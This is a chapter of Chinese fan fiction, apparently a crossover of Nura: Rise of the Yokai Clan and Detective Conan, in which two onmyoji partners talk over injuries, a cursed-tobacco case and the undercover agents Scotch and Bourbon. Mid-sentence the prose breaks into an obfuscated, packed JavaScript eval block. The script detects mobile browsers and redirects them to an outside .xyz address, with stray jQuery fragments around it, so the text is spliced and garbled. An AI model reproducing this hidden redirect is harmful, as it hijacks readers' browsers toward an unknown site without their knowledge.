魔魅流听到“之前”两个字时就瞳孔一缩，直勾勾地盯着花开院龙二。
他们的调查内容是“黑暗当铺”和“黑暗猎人”。后者提供与妖怪相关的物件，由前者买卖。当铺看重的潜在交易对象往往不只有妖怪和阴阳师，还有普通人。那些都是沾染诅咒的东西，随意流到另一个世界，造成的后果与大范围杀人无异。
花开院家历代作为“妖怪警察”在暗中维护稳定。解决相关问题的任务自然也在职责范围之内。
当铺和猎人也都是很能藏的团伙，并且越深挖、越感到棘手。根据前期调查显示，日本各地都有疑似他们活动的迹象。阴阳师们开了个简单会议，决定把这件事当做长期任务。
最开始负责这件事的只有花开院龙二和花开院魔魅流。随着时间推进，眼看人手不太够，主导调查的花开院龙二才勉强点头同意部分人参与进来，稍微帮点忙。
魔魅流的调查运气一只很差，拿到情报后总是扑空。龙二稍微好一些，但每次都遇到高高低低的麻烦。
其中一次，他顺着某位知名收藏家的线，找到了真正的黑暗当铺。那个贼眉鼠眼的半妖被他威胁，悄悄将加了诅咒的商品塞进他口袋。
寄生在烟草内的鬼将自身妖气渡进草叶，使其散发出迷惑人心智的气味。随后妖气在短时间内快速侵蚀控制人类的大脑、让后者无意识将草叶送入口中。
随后烟草被点燃，妖气顺着丝丝缕缕的黑烟钻进吸烟者口鼻，直达肺腑并传导到四肢各处，控制浑身肌肉使人类无法动身。
这一过程也伴随着对生命力和灵力的抢夺。烟草前端的火星借着灵力加持骤然爆起，汹涌地吞噬持有者。
整个一连串动作打得人猝不及防。虽然对于操纵水系式神的阴阳师来讲，这点小失误没造成多大危害。
但那天花开院柚罗非要跟着来，事后又像告状一样对魔魅流添油加醋地描述情况——哥哥差点又受伤了，总是一个人单打独斗，然后力不从心让自己陷入危险境地。
类似这样咋咋呼呼的话。
听得人头疼。
偏偏魔魅流真的往心里去。事后拉着花开院龙二的手臂，什么也不说就盯着他看，呆板的表情让人硬生生能品出一丝生气——明明两个人一开始就商量好分头行动。
喔，生气的样子和现在一样。
花开院龙二不自在地移开视线。“又怎么了，”他问，“在脑子里胡编乱造些我倒霉的场景？”
魔魅流摇头，但视线一动不动地黏在眼前人身上。从头顶翘起的发丝到露在外面的手臂、手腕、双手，再到因沙发蹭起裤腿后没有遮挡的脚腕。
右脚腕外侧有些淤青，像被人或什么生物狠狠攥紧拉扯。
龙二顺着魔魅流的视线看向自己脚踝。
“人拽的，不是妖怪，”他解释，“早就不疼了。”
魔魅流微微抿紧嘴唇，小声问：“还有其他地方吗？”
“啊。”
花开院龙二迟疑了一下，又很快为自己的迟疑感到惊诧。
哪里不对劲，他想。
如果问这个问题的人换成其他任意谁，他一定立刻面不改色地给出回答。
没有，一切都好，就这一处还被你看出来了。类似的话他张口就来。
但是很奇怪。问问题的人是魔魅流，他反常地生出一股松懈感，思考要不要和盘托出——三天前腰侧被子弹擦过去了，只是破了点皮而已，都没出血。更早的那些小伤口几乎全恢复好了，疤都没留下。
不是什么严重的伤势，但花开院龙二真的会因为这点无足轻重的细节陷入短暂思考。
说出来他感觉别扭，像在撒娇；不说，他又觉得自己是不是太虚伪了。骗骗其他人就算了，连魔魅流这个脑子过分单纯的搭档都骗，好像有点过分。
而且他心底总觉有种微妙的念头，觉得可以尝试去信任对方——
啊，听上去更奇怪了。他这个习惯于用谎言作为防护壳的人，竟然还愿意主动对人讲真话。
可他这位搭档不会告密、没有私心，听话、忠诚。如果能对谁说出自己大多数想法或苦恼，大概只有魔魅流。
“腰上破了点皮。”龙二别扭地捋了下刘海，掀起腰侧衣物，将伤口展示出来。那里真的只是破了点皮，微微泛红，夹杂一两点已经结痂的细血丝。
“真的，只有这个伤口。”他补充。
魔魅流压低身体向前探，认真打量那处位置。他睫毛扑闪了几下，喉咙里闷闷地压出一声“嗯”。
看着就心情不好。
花开院龙二皱眉，心烦意乱地躲闪开视线。
“总担心这些小事干什么，”他半真半假地抱怨，“你好像比之前小心谨慎得多。明明早年大家都是带着一身伤、断胳膊断腿还不要命地冲上去，现在因为——”
“我一直都很担心，当时也是。”
花开院龙二：？
他少有地瞪大双眼盯着眼前人看。后者还是那个动作、那副表情，像在问“今晚吃什么”一样毫无波动。一切都和平时完全相同，找不出差异。但是——
“——你什么时候学会顶嘴了？”
在不可置信的加持下，龙二话语少见地有些磕绊。
他说不上自己是什么心情，或许不是“真的假的魔魅流竟然敢顶嘴”，而是“这家伙居然知道怎么顶嘴吗”。
“......我没有顶嘴。”魔魅流小声纠正。
“哦，不是顶嘴。是打断我说话。”
花开院龙二故意皱紧眉心、板起脸盯着眼前人看。
被看的家伙仿佛勇气骤然消退，后知后觉意识到自己刚才说了什么。他少见地偏头躲过注视，但那双金色发亮的眼瞳又时不时缓缓移动些许，一副想留意这边但又不敢的样子。
心虚了。
龙二心想，这时候倒不像猫，像犯了错的狗。
“魔魅流，你最近怪怪的。”他语气渐渐沉下来。
“之前总是很乖很安静，说什么就是什么。从来不会顶嘴，不会打断我，也不会有莫名其妙的情绪，”他停顿了一下，又问，“你那次发的邮件附言是怎么回事。关于苏格兰说野村万斋的那个。”
“......不知道。”
“......你怎么能不知道。”
魔魅流坐正身体，像成绩一塌糊涂又难得积极回答问题的学生那样，一本正经讲废话：“想说那些话，就发出去了。”
花开院龙二：......
他做了个深呼吸，努力让血压冷静下来，眉头紧皱啧声道：“你这家伙越来越难懂了。”
“嗯。”
“......‘嗯’是什么意思。”
魔魅流眨了眨眼，没说话。
龙二头疼地将刚才画了几笔的白纸翻面，顺便将拌嘴一样的话题撇去角落：“说正事。”
“我需要找一个合理的理由，在这群乌鸦眼皮底下光明正大调查烟草的事。我特意绑了一位到琴酒面前，让他亲眼看着人发疯——还蛮有意思的，癫狂症状发作的时候，倒霉蛋们力气大得异常，差点徒手拧掉琴酒的胳膊。”
“他好像是把那东西当成什么强化药剂了，给实验室送了一份。第二天一早就回来通知我说开始调查。”
“我顺着相关者们的所有接触对象找过去，从他们关系网里摸出几个有疑点的人。一共七位，三位是无业游民，两位表面身份是商人，一位是摄影师，一位自由记者。没什么共同点，但全是流动性很强的工作。”
“在我的名单里，第一批、也就是现在已经全部死亡的五人，全部接触过这七人中的至少两位。第二批观察对象大多是接触过七人中的一位、以及第一批的至少一位。”
“我之后去调查这七个人与异常产生关联的源头......不过有点麻烦，一个人进度有点慢。”
魔魅流眼睛一亮，难得找到机会提问：“需要我帮忙吗？”
花开院龙二盯着他看了几秒，突然勾起嘴角。他将白纸推到一侧，从随身背包里取出另一本文件，摊开到其中一页翻转一百八十度，让上面的字正对对方：“虽然可能话题有点跳，但我觉得，有件事要跟你先讨论清楚。”
“你有没有观
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256597|182078||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
察过苏格兰和波本？”
问题是这样问的，但龙二一开始就没指望眼前的家伙能给他什么答案。
魔魅流再次端正坐姿，神色间带了些微不可察的自信——姿态和回答关于邮件的问题时一样，但会让人忍不住期待他能讲出正确答案。
“苏格兰被‘共生’了。被猫。”他说。
花开院龙二点头：“这我也看出来了。目前问题不大，那只猫没什么攻击性，可以之后慢慢解决。然后呢？”
魔魅流：“嗯？”
龙二：“啊？”
客厅静悄悄的。两人就这样面对面僵坐着，等待对方的后续话语。
沉默延续到第五秒的时候，花开院龙二缓过劲了。
“没了？就这些？”他一脸不可置信。
只说了苏格兰啊，波本呢？他确实问了两个人吧。
魔魅流被点出失误，瞳孔微微缩紧，脸上肌肉有些微不可察的僵硬。
“......不了解，”他话语略微卡顿，听得出大脑连着声带都开始紧张，“我套过苏格兰的话，他没说。”
“......你套苏格兰的话。”花开院龙二原模原样重复了一遍，有些没脸看，“你套他的话就不怕被绕进去吗。”
真是的，自己怎么就敢把这么个单纯好骗脑子不如猫的家伙丢进狐狸堆。
他努力深呼吸，过了几息又后仰靠在沙发靠背上，摊开厚重的文件本遮住五官，像是自暴自弃后想让自己闷死在左右两摞A4纸之间。
魔魅流意识到自己说错话了，四肢微微向躯干缩了一点，试图表现出乖巧拘谨地样子。但花开院龙二没看见。他维持着上身后仰的姿势，把手中的厚文件本抛去沙发另一侧。
厚重的纸张撞进魔魅流怀中，力度不轻不重。像有些惩罚意义的教训，又带着没脾气的认命。其中几页微微打弯折角，橘发青年小心翼翼地抚平那些弯痕，突然注意到纸上写的字。
“......公安？苏格兰和波本？”
“啊，”花开院龙二没好气地应声，“两只公安的狐狸。一个警视厅的，一个警察厅的。都是关东那个家伙给的情报。”
“我打算让波本参与进来了。如果事情明面上与他无关，他就不会光明正大地管。转手到其余公安手里一来算不稳定因素，二来也不知道那些人能力如何，会不会拖后腿。如果找个理由让波本从这边经手，他私下又里让公安小队出力，我们白得情报和帮手的概率不小。”
龙二揭人底细揭得毫无负担。
魔魅流原本就不爱说话，说出来的语句大多也简洁到听不出前因后果。只有闲得发毛的人才会试图从笨蛋的话语里解读重要信息。如果在这个基础上加一层“守密命令”，这位忠诚的大猫绝对会一言不发。
他们目前处于人类组织、正在调查作恶的与妖怪有关的集团，但人类己方同样有上不得台面的勾心斗角。要防着敌人，还要防着身边可能带来危险的家伙。在这种情况下，哪些“同事”属于守序立场，哪些属于中立，都是必须掌握的情报——虽然公安这些干特务的，很多人同样心黑得要命。
把这些讲给魔魅流听，一来能让他在特定场合优先识别自己人，二来就是小心着点，别被公安坑进去了，还傻兮兮地认为“我在协助正义伙伴”。
听到这些时，魔魅流眼神亮晶晶的。他右手轻轻按着内脏的位置，虹膜微微发亮，一呼一吸之间能听出些猫的呜咽声。
“但事情也不会平平淡淡地走到那一步。最近恰好有一件不太妙的事能作为切入点。”花开院龙二懒散地坐回原本姿势。说是“不太妙”，但他表情丝毫看不出紧张：“是关于苏格兰的。最近稍微盯着他一点，那位狙击手先可能有麻烦。”
“不过按照我的计划和波本的性格，如果你要帮忙的话，多半要被他骂哦，魔魅流。”
“你确定吗？即使这样。”
魔魅流毫不犹豫地点头。
花开院龙二从沙发上起身，手放在搭档头上摸了摸：“很乖很乖。”
“那明天开始把言言的一部分也带在身上好吗？听话。”